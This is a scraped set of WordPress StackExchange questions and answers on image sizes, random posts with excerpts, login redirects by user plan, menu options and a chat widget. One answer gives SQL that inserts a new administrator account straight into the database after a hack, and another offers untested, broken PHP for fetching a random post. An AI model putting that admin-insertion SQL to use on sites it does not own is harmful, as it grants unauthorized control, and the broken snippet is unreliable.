This restriction is implemented in the [`multi_resize()`](https://developer.wordpress.org/reference/classes/wp_image_editor_gd/multi_resize/) method of the image editor classes, like `WP_Image_Editor_Imagick` and `WP_Image_Editor_GD` that extend `WP_Image_Editor`:
```
$duplicate = ( ( $orig_size['width'] == $size_data['width'] )
&& ( $orig_size['height'] == $size_data['height'] ) );
```
If the size is the same as the size of the original image, then it's not generated.
A possible workaround could be to extend the image class to your needs and add it to the list of available image editors through the [`wp_image_editors`](https://developer.wordpress.org/reference/hooks/wp_image_editors-2/) filter.
Alternatively you could try to hook into the `wp_generate_attachment_metadata` to generate the missing duplicate with a help from the image editor, like the `save()` method. |
256,592 | <p>I'd like to grab a random post but only one which has a post excerpt. Is there any way that I can query this during a call to <code>get_posts()</code> or <code>wp_query()</code>? </p>
<p>Bonus points if I could do it with REST, I explored down that route and found myself back at <code>get_posts()</code>.</p>
| [
{
"answer_id": 256594,
"author": "Ben Lonsdale",
"author_id": 110488,
"author_profile": "https://wordpress.stackexchange.com/users/110488",
"pm_score": 1,
"selected": true,
"text": "<p>Something along these lines should work, not tested for syntax errors though</p>\n\n<pre><code> ... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256592",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/45504/"
] | I'd like to grab a random post but only one which has a post excerpt. Is there any way that I can query this during a call to `get_posts()` or `wp_query()`?
Bonus points if I could do it with REST, I explored down that route and found myself back at `get_posts()`. | Something along these lines should work, not tested for syntax errors though
```
function random_post() {
$args = array(
'post_type' => 'post',
'orderby' => 'rand',
'posts_per_page' => 1,
);
$post = query_posts( $args );
}
if(!$post->post_excerpt){
random_post();
}
// Then down here you would do whatever with the $post object
``` |
256,593 | <p>My WordPress site got hacked and the WP Admin user account password was changed by the hacker. This essentially locked the user out of his admin dashboard. It is best (for situations like this) to just create a new admin user account to gain access to WP admin dashboard and fix things as needed.</p>
<p>Is it possible to create a new WordPress admin user account via MySQL database (without having access to your WordPress admin dashboard).</p>
<p><strong>N.B: I am site owner and I have access to cPanel/Control Panel of my server.</strong></p>
| [
{
"answer_id": 256596,
"author": "CodeMascot",
"author_id": 44192,
"author_profile": "https://wordpress.stackexchange.com/users/44192",
"pm_score": 3,
"selected": true,
"text": "<p>You need to run those below queries-</p>\n\n<pre><code>INSERT INTO `your-wp-database`.`wp_users` (`ID`, `us... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256593",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106731/"
] | My WordPress site got hacked and the WP Admin user account password was changed by the hacker. This essentially locked the user out of his admin dashboard. It is best (for situations like this) to just create a new admin user account to gain access to WP admin dashboard and fix things as needed.
Is it possible to create a new WordPress admin user account via MySQL database (without having access to your WordPress admin dashboard).
**N.B: I am site owner and I have access to cPanel/Control Panel of my server.** | You need to run those below queries-
```
INSERT INTO `your-wp-database`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`, `display_name`) VALUES ('1000', 'your_username', MD5('Str0ngPa55!'), 'your_username', 'you-user@email.com', '0', 'User Display Name');
INSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
INSERT INTO `your-wp-database`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '1000', 'wp_user_level', '10');
```
But notice here ***your-wp-database*** is the name of your WordPress database, ***1000*** is your newly created user's ID, ***you-user@email.com*** is the user email, the ***your\_username*** is your user's username, ***User Display Name*** is your newly created user's display name and lastly ***Str0ngPa55!*** is the password of your newly created user. |
256,629 | <p>I have a problem and would like some help:</p>
<p>Scenario:</p>
<p>Table: wp_usermeta</p>
<p><a href="https://i.stack.imgur.com/S3OFd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/S3OFd.png" alt="enter image description here"></a></p>
<p>According to the table above (wp-usermeta), which function could I use for all users with Special Plan after login being redirected to the website.com/special page, Super plan users being redirected to the website.com/super page and users of the Vip plan being redirected to the website.com/vip page?</p>
| [
{
"answer_id": 256630,
"author": "smartcat",
"author_id": 112935,
"author_profile": "https://wordpress.stackexchange.com/users/112935",
"pm_score": 3,
"selected": true,
"text": "<p>This should do the trick. Add this filter to your plugins functions file/class. This will run automatically... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256629",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113413/"
] | I have a problem and would like some help:
Scenario:
Table: wp\_usermeta
[](https://i.stack.imgur.com/S3OFd.png)
According to the table above (wp-usermeta), which function could I use for all users with Special Plan after login being redirected to the website.com/special page, Super plan users being redirected to the website.com/super page and users of the Vip plan being redirected to the website.com/vip page? | This should do the trick. Add this filter to your plugins functions file/class. This will run automatically every time anyone logs in, if they are a user who has the 'Vip' plan, they will be redirected to the `/vip/` page. otherwise they will be redirected to the default.
```
add_filter( 'login_redirect', function( $redirect_to, $request, $user ) {
if( ! is_wp_error( $user ) && 'Vip' == get_user_meta( $user->ID, 'plan', true ) ) {
return home_url( 'vip' );
} else {
return $redirect_to;
}
}, 10, 3 );
``` |
256,653 | <p>Is it possible to hide or remove some custom post type from here?
<a href="https://i.stack.imgur.com/6jNVx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6jNVx.png" alt="here are the screenshot"></a></p>
| [
{
"answer_id": 256656,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<p>If you have created the custom post type correctly, hiding it should be easy.</p>\n\n<p>First, from your your... | 2017/02/16 | [
"https://wordpress.stackexchange.com/questions/256653",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/50526/"
] | Is it possible to hide or remove some custom post type from here?
[](https://i.stack.imgur.com/6jNVx.png) | If you have created the custom post type correctly, hiding it should be easy.
First, from your your Admin Panel, go to:
```
Appearance -> Menus
```
Then, from there at the top right, you'll see `Screen Options` button. If you click that button, it'll show you the option to show & hide `Pages`, `Posts`, `Your Custom Post Type`, `Categories`, `Tags` etc. Like the following:
[](https://i.stack.imgur.com/Eq49l.png)
From there, show or hide as you need. |
256,662 | <p>I need to add a chat widget in HTML, css and js, on all WP website. I tried the following in local (functions.php) and it worked fine but just on homepage. Same code online and nothing shows up. Any advice? Thank you in advance :)</p>
<pre><code><?php
function add_chat ( ) {
?>
<script type="text/javascript">
SERVICE_PATTERN_CHAT_CONFIG = {
appId: '',
clientId: '', /* no need to change this */
apiUrl: '',
tenantUrl: '',
width: 300,
chatPath: ''
};
</script>
<script type="text/javascript" src="js/snippet.js"></script>
<?php
}
add_action ('wp_footer', 'add_chat' );?>
</code></pre>
| [
{
"answer_id": 256656,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<p>If you have created the custom post type correctly, hiding it should be easy.</p>\n\n<p>First, from your your... | 2017/02/16 | [
"https://wordpress.stackexchange.com/questions/256662",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113452/"
] | I need to add a chat widget in HTML, css and js, on all WP website. I tried the following in local (functions.php) and it worked fine but just on homepage. Same code online and nothing shows up. Any advice? Thank you in advance :)
```
<?php
function add_chat ( ) {
?>
<script type="text/javascript">
SERVICE_PATTERN_CHAT_CONFIG = {
appId: '',
clientId: '', /* no need to change this */
apiUrl: '',
tenantUrl: '',
width: 300,
chatPath: ''
};
</script>
<script type="text/javascript" src="js/snippet.js"></script>
<?php
}
add_action ('wp_footer', 'add_chat' );?>
``` | If you have created the custom post type correctly, hiding it should be easy.
First, from your your Admin Panel, go to:
```
Appearance -> Menus
```
Then, from there at the top right, you'll see `Screen Options` button. If you click that button, it'll show you the option to show & hide `Pages`, `Posts`, `Your Custom Post Type`, `Categories`, `Tags` etc. Like the following:
[](https://i.stack.imgur.com/Eq49l.png)
From there, show or hide as you need. |